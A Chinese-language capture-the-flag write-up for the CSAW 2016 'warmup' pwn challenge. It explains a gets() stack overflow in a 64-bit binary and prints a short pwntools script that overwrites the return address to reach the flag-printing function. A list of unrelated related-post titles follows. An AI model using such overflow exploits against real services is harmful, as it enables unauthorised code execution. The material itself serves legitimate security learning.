CSAW CTF 2016 PWN quals-warmup

原文链接
先对文件有个大致的了解,是64位ELF文件

☁  csaw ctf 2016 quals-warmup  ls
exp.py  flag.txt  readme.txt  warmup
☁  csaw ctf 2016 quals-warmup  file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
☁  csaw ctf 2016 quals-warmup  chmod +x warmup
☁  csaw ctf 2016 quals-warmup  ./warmup
-Warm Up-
WOW:0x40060d
>

这个程序没有开启任何的保护,而且文件是动态链接却没有给出libc

丢进IDA看一下:

看到了熟悉的gets()函数,通常一看到这个函数就八成有缓冲区溢出漏洞,可以看出程序为v5开辟了40H的存储空间,所以输入长度超过40H即可造成溢出,再看sprint()函数

进入sub_40060D中看一下:

可以看到这个函数是获取flag的关键点,程序会打印出此函数的位置,即0x40060d,到这里思路就差不多明了了,我们需要控制溢出位置,把返回地址改为此函数的地址,我们当前函数的返回值位于RBP+8的位置,因此溢出点可以通过计算得出:40H+8H=48H=72,因此python脚本如下

#!/usr/bin/python
from pwn import *r = remote('192.168.229.128', 10001)r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))r.writeline(payload)r.interactive()

即可获取flag:FLAG{LET_US_BEGIN_CSAW_2016}

CSAW CTF 2016 PWN quals-warmup相关推荐

  1. [BUUCTF-pwn]——[第六章 CTF之PWN章]stack

    [BUUCTF-pwn]--[第六章 CTF之PWN章]stack 题目地址: https://buuoj.cn/challenges#[%E7%AC%AC%E5%85%AD%E7%AB%A0%20C ...

  2. CTF比赛PWN题sgtlibc通用快速解题框架

    CTF比赛PWN题sgtlibc通用快速解题框架 安装 开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...

  3. buuctf-N1Book[第六章 CTF之PWN章]

    第六章 CTF之PWN章 1.stack 64位,开启了NX保护 shift + F12查看里面的字符串 发现自带system和bin/sh的地址 bin_sh = 0x400537 gets函数对输 ...

  4. CTF中pwn的入门指南

    CTF中pwn的入门指南 pwn简介: CTF中的pwn指的是通过通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限,这就需要对程序进行分析,了解操作系统的特性和相关漏洞,是是一个难度比较大的分支 ...

  5. [SECCON CTF 2016 Quals] Chat 分析与思考

    CTFSHOW吃瓜杯,PWN方向第三题竟是SECCON原题,于是当时没有仔细研究,直接套用了其他大佬的EXP(第二第三第四题都是各大比赛的原题,网上可以直接找到写好的EXP......) 既然现在比赛 ...

  6. Hitcon 2016 Pwn赛题学习

    PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...

  7. 记一次院赛CTF的Pwn和Misc题(入门)

    目录 Pwn easy pwn 莽撞人 反向读取 Misc drop the beats 拼东东 消失的50px Pwn 见到别的比赛的pwn题才幡然醒悟,已经没有比这些更简单的pwn题了. easy ...

  8. [第六章 CTF之PWN章]n1ker

    kernal pwn 首先还是看一下start.sh #! /bin/shqemu-system-x86_64 \ -m 512M \ -kernel ./bzImage \ -initrd ./ro ...

  9. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

最新文章

  1. 关于ESP8266 GPIO中断使用的总结
  2. zip:命令行下zip压缩/解压缩
  3. 爬虫笔记(十四)——BeautifulSoup库
  4. python代码中添加环境变量
  5. linux查看cpu核数_我们常说的CPU核数指的是什么?
  6. 最正确的为GridView添加删除提示的方法(转)
  7. Java连接mysql数据库的方式_java连接MySQL数据库的方式
  8. C语言 rtmp测试代码,在mac本地搭建rtmp服务器用于测试
  9. python实现模糊综合评价法(FCE)
  10. adb 连接某个wifi_adb通过wifi连接android设备的方法(根据网络中大神的提示加上自我摸索得到):...
  11. matlab求任意输入响应曲线,3.6 用Matlab进行动态响应分析
  12. 网站域名被墙(被封锁、被屏蔽、被和谐)后最好的解决方法
  13. ol+天地图+geoserver_教程:使用GeoServer发布离线地图服务(WMS)
  14. JS往数组中添加字段
  15. 局域网如何共享文件?计算机1通过ip访问计算机2,拿取共享文件。
  16. 数据的基本类型有哪些
  17. 图观目前各类芯片的交货周期
  18. Python 字典:当索引不好用时
  19. 无聊的逗 蓝桥杯 python
  20. Matplotlib空气质量数据分析(附数据集下载)

热门文章

  1. 【日记】 使用 zip4j 实现压缩包加密
  2. Python读取和操作Excel(.xlsx)文件
  3. Linux多线程(线程互斥与线程锁)
  4. 已知先序和中序序列求二叉树
  5. IDE Eval Reset 插件安装使用
  6. 软件设计模式——单例模式
  7. DSP(f2812/28335/28377/28388)TZ功能说明
  8. 让swfobject.js 支持透明的flash
  9. Linux C 两种方法实现复制拷贝文件
  10. Windows10下WebLogic的下载与安装